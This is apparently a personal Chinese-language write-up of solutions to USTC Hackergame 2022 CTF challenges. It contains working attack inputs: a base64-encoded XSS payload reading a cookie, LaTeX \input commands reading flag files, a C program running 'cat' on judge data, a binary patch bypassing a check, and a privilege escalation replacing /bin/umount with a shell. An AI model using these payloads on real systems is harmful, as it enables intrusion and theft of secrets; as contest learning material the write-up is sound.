萌新第一次参加 CTF 比赛,应该也是最后一次参加这类比赛了,正好排在第 123 名,挺好的数字,试着写写 Write UP 吧!
官方 Write UP 在:https://github.com/USTC-Hackergame/hackergame2022-writeups
Write UP
签到
题目打开是一个网页,要求在2秒、1秒、0.1、0.0秒的时间限制内,在网页的四个手写框内分别写上"2"、“0”、“2”、“2"几个字符,前两个字符还有可能在限制的时间内完成,最后两个字符根本不可能在给定时间内写出来,所以直接右键 View Source ,看看网页的 JavaScript 代码,发现这几行:
submit(event) {
let result = "";
for (let digitIndex = 0; digitIndex < 4; digitIndex++) {
const digit = this.digits[digitIndex];
result = result + digit.result;
}
window.location = "?result=" + result;
},
所以只需要在 URL 加上 result=2022
参数即可:http://202.38.93.111:12022/?result=2022
得到Flag:flag{HappyHacking2022-9e5a1f7364}
猫咪问答喵
只回答出了3道题:
中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?
Google 搜索
USTC NEBULA
,可以找到这个页面:https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm,其中有这么一段话:中国科学技术大学“星云战队(Nebula)”成立于2017年3月
所以答案就是
2017-03
2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?
在 LUG 官网找到软件自由日活动链接:https://lug.ustc.edu.cn/wiki/lug/events/sfd/,里面可以下载到每位演讲者的 slide,找到对应的 slide 链接,找到对应页面,就可以找到题目中所说的 KDE 程序名字
Kdenlive
:22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?
Google 搜索
Windows 2000 firefox
,找到 https://support.mozilla.org/bm/questions/1052888,里面有一句话:Firefox 12.0 was the last version of Firefox that worked on Windows 2000.
得到答案:
12
得到答对 3 题的 Flag:flag{meowexammeow_772b498346fe0925_686d771898}
家目录里的秘密
将题目文件下载下来,解压之,得到一个文件夹,用 VSCODE 打开,直接搜索 flag
:
即可得到第一个 Flag:flag{finding_everything_through_vscode_config_file_932rjdakd}
并找到了 rclone.conf 文件,内容为:
[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
盲猜 flag 藏在 pass
字段中,通过 Google 找到一个 Golang 程序用于还原 rclone 的 pass,直接打开 https://play.golang.org/p/IcRYDip3PnE,将 pass
字段的内容粘贴进去并运行,即可得到第二个 Flag:flag{get_rclone_password_from_config!_2oi3dz1}
HeiLang
来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的
|
运算,升级为了更加先进的语法,用A[x | y | z] = t
来表示之前复杂的A[x] = t; A[y] = t; A[z] = t
。作为一个编程爱好者,我觉得实在是太酷了,很符合我对未来编程语言的想象,科技并带着趣味。
写一个 Python 程序将所有 A[x | y | z] = t
表达式替换为 A[x] = t; A[y] = t; A[z] = t
,然后运行即可得到 Flag:
data = '''a[1225 | 2381 | 2956 | 3380 | 3441 | 4073 | 4090 | 4439 | 5883 | 6253 | 7683 | 8231 | 9933] = 978
...这里省略...
a[92 | 377 | 384 | 493 | 1237 | 2479 | 4299 | 6702 | 6819 | 7761 | 7822 | 8777 | 8779] = 581
'''
import re
regex = r"(\d+)"
result = []
for line in data.split('\n'):
if len(line) == 0:
continue
matches = re.finditer(regex, line, re.MULTILINE)
line_nums = []
for matchNum, match in enumerate(matches, start=1):
line_nums.append(match.group(1))
line_result = [f'a[{x}]' for x in line_nums[:-1]]
line_result.append(line_nums[-1])
result.append(' = '.join(line_result))
print('\n'.join(result))
得到 Flag 为:flag{6d9ad6e9a6268d96-5931633fd82184ae}
Xcaptcha
写代码,在规定时间内答出验证码并提交即可:
import requests
import re
regex = r"(\d+)\+(\d+)"
session = requests.Session()
session.get(r'http://202.38.93.111:10047/?token=<YOUR_TOKEN_HERE>')
resp = session.get("http://202.38.93.111:10047/xcaptcha")
payload = {}
matches = re.finditer(regex, resp.text, re.MULTILINE)
for matchNum, match in enumerate(matches, start=1):
result = int(match.group(1)) + int(match.group(2))
payload[f'captcha{matchNum}'] = result
x = session.post("http://202.38.93.111:10047/xcaptcha", data=payload)
print(x.text)
得到 Flag 为:flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_f93546617a}
旅行照片 2.0
查看图片 EXIF 信息,第一题就解决了,得到 Flag:flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}
$\LaTeX$ 机器人
想办法通过 $\LaTeX$ 语法读取 /flag1
和 /flag2
两个文件即可,区别在于 /flag1
文件只有常规字符,而 /flag2
含有下划线和井号,所以需要对字符转义
读取 /flag1
:
\input{/flag1}
得到 Flag:flag{becAr3fu11dUd3bc60f27f02}
读取 /flag2
:
\catcode`\#=12 \catcode `\_=12 \input{/flag2}
得到 Flag:flag{latex_bec_0_m##es_co__#ol_7bb20f7d63}
Flag 的痕迹
URL 中加入 do=diff
参数即可:http://202.38.93.111:15004/doku.php?id=start&do=diff
Flag 为:flag{d1gandFInD_d0kuw1k1_unexpectEd_API}
安全的在线测评
提供了判题脚本,所以从判题脚本入手,看到测试数据保存在 ./data/static.out
中,所以直接 system("cat ./data/static.out")
即可得到第一个 Flag:
#include <stdlib.h>
int main() {
system("cat ./data/static.out");
return 0;
}
Flag 为:flag{the_compiler_is_my_eyes_bff9de2537}
线路板
题目文件下载下来是 Gerber 压缩包,随便找一个 Gerber Online Viewer,切换一下模式就能找到 Flag 啦:
Flag 自动机
题目下载下来是一个 exe 程序,但 “狠心夺取” 按钮只要鼠标移上去就会自动变换位置,所以得想办法点击到该按钮。
这题直接用 Cheat Engine + Ollydbg 搞定了,先想办法找到修改 “狠心夺取” 按钮位置的语句,然后 NOP 填充,这样就可以点击了,但是点击之后提示 “不是本机超级管理员”:
所以应该还有一些判断,所以用 Ollydbg 搜索了这个字符串对应的代码,发现有一个 je 的跳转,je 后则是成功获取 flag 的提示,所以在 Cheat Engine 里面把对应位置的 je 更改为 jne 即可得到 flag:
Flag 为:flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}
微积分计算小练习
考察 XSS ,题目给出了用于提交练习成绩的网站的后端代码,看到是使用一个 headless 浏览器访问页面,然后会先把 flag 放入页面的 cookie 里,之后通过 document.querySelector
找到对应的结果输出:
with webdriver.Chrome(options=options) as driver:
ua = driver.execute_script('return navigator.userAgent')
print(' I am using', ua)
print('- Logining...')
driver.get(LOGIN_URL)
time.sleep(4)
print(' Putting secret flag...')
driver.execute_script(f'document.cookie="flag={FLAG}"')
time.sleep(1)
print('- Now browsing your quiz result...')
driver.get(url)
time.sleep(4)
try:
greeting = driver.execute_script(f"return document.querySelector('#greeting').textContent")
score = driver.execute_script(f"return document.querySelector('#score').textContent")
except selenium.common.exceptions.JavascriptException:
print('JavaScript Error: Did you give me correct URL?')
exit(1)
print("OK. Now I know that:")
print(greeting)
print(score)
print('- Thank you for joining my quiz!')
所以很简单,就是想办法让 #greeting
或 #score
显示为 document.cookie
即可,那么就来看看分数页面的源代码:
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);
document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";
看到本质上就是把 URL 中的 参数,base64decode 之后,替换内容,这里就可以构造XSS了:
<img src=a onerror='document.querySelector("#greeting").innerHTML = document.cookie'>:LGiki
base64encode 一下,得到:
PGltZyBzcmM9YSBvbmVycm9yPSdkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjZ3JlZXRpbmciKS5pbm5lckhUTUwgPSBkb2N1bWVudC5jb29raWUnPjpMR2lraQ==
所以最终的链接为:
http://202.38.93.111:10056/share?result=PGltZyBzcmM9YSBvbmVycm9yPSdkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjZ3JlZXRpbmciKS5pbm5lckhUTUwgPSBkb2N1bWVudC5jb29raWUnPjpMR2lraQ==
提交到提交练习成绩的网站上,得到 Flag:flag=flag{xS5_1OI_is_N0t_SOHARD_f8a6455171}
杯窗鹅影
这题是在 wine 下读文件,提交一个 exe 程序,能在 wine 下成功读取 /flag1
文件即可。
对 wine 没任何研究,也不知道怎么做,所以直接写了段 Golang:
package main
import (
"fmt"
"io/ioutil"
"log"
)
func main() {
data, err := ioutil.ReadFile("/flag1")
if err != nil {
log.Fatalln(err)
}
fmt.Println(string(data))
}
得到第一个 Flag:flag{Surprise_you_can_directory_traversal_1n_WINE_9945b3ea74}
第二问不会。
光与影
把网页所有的文件下载下来,是一个 WebGL 实现的网页,找到 shader 代码(fragment-shader.js 文件),把 304 行:
float tmin = min(min(min(min(t1, t2), t3), t4), t5);
改为:
float tmin = min(min(min(t1, t2), t3), t4);
再打开网页即可得到 Flag:flag{SDF-i3-FuN!}
片上系统
用 PulseView 可以解决第一题,这里就不细写了。
传达不到的文件
这一题的 flag 在 /chall
和 /flag2
中,其中 /chall
的权限为 04111
,/flag
文件的权限为 0400,于是就得到了读不到、打不开的文件…
一开始就试着提权,但是一直没成功,后来在一次偶然中把系统中的 /bin/busybox
删掉了,发现 exit
的时候发现会报错:
/etc/init.d/rcS: line 24: umount: not found
/etc/init.d/rcS: line 25: umount: not found
/etc/init.d/rcS: line 28: poweroff: not found
can't run '/bin/sh': No such file or directory
can't run '/bin/sh': No such file or directory
can't run '/bin/sh': No such file or directory
所以在 exit
的时候会执行 umount
和 poweroff
,那就可以通过这个提权,并获得 flag 啦!
/ $ rm /bin/umount
/ $ echo "/bin/sh" > /bin/umount
/ $ chmod +x /bin/umount
/ $ exit
/bin/sh: can't access tty; job control turned off
/ # id
uid=0 gid=0
/ # cat /flag2
flag{D0_n0t_O0o0pen_me__unles5_u_tr4aced_my_p4th_5017cad9a0}
/ # strings /chall | grep flag
flag{ptr4ce_m3_4nd_1_w1ll_4lways_b3_th3r3_f0r_u}
tmp_flag